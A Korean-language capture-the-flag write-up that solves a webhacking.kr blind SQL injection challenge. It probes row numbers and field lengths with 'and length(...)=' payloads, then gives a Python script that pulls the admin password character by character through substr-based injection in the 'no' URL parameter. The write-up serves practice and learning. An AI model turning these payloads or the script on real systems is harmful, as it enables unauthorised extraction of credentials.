이름부터 blind sql injection이라고 대문만하게 쓰여있다. 안그래도 잘 보여..
값을 0,1,2,3... 순서대로 넣어봤다. 문제 풀이와는 상관없고 그냥 넣어봤다.
0- No result
1- True
2- True
3~ False
왜 1과 2는 True인데 3부터는 false인가? 무엇이란말이지..
URL을보니까 no, id, pw를 받고 있긴했다. 소스상에도 hidden값으로 id, pw가 들어가 있긴했는데 인자는 no밖에 없고..
어쨌든 no가 T/F를 주니까 이녀석으로 알아내보도록 하자.
처음엔 길이를 알아내보자.
1 and length(id)={} 2 and length(id)={}
를 no의 파라미터에 준다. {} 는 숫자를... 값이 5일때 True가 나온다. 3부터는 뭘해도 False가 나온다.
즉, 앞서 1,2는 존재하는 row번호였다. 너무 찍어맞춘 기분이 있지만 -_- 문제는 문제일뿐이니까...?
다음으로 pw 길이로 알아보자
1 and length(pw)={} 2 and length(pw)={}
1일경우 5
2일경우 19
정답은 안봐도 2겠지만 역시 두개 다 해보기로 한다.
여지껏 많이 해왔던 한자리식 끊어서 보내기를 할 차례가 왔다
코드를 짜보자. 이제는 익숙해질것만 같은 똑같은 코드...
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "" headers = {'Host': 'webhacking.kr', 'Cookie': "PHPSESSID={}".format(sess) } pw = '' for i in range(1,21): for j in range(32,123): url = 'http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=1+and+substr(pw,{},1)in({})&id=&pw='.format(i,hex(j)) print url req = urllib2.Request(url, '', headers) response = urllib2.urlopen(req).read() #print response if ("True" in response): pw = pw + chr(j) print chr(j) break print pw
id부터 알아내는 과정을 거치면 되는데 이건 어련히 잘하리라 생각한다.
1번은 guest 아이디, 2번은 admin 아이디이다.
모두가 궁금할지도 모르겠지만 1번 row는 guest/guest니까 해보지 말고 그냥 19자리 풀길바란다.
auth에 19자리를 넣어주면 클리어!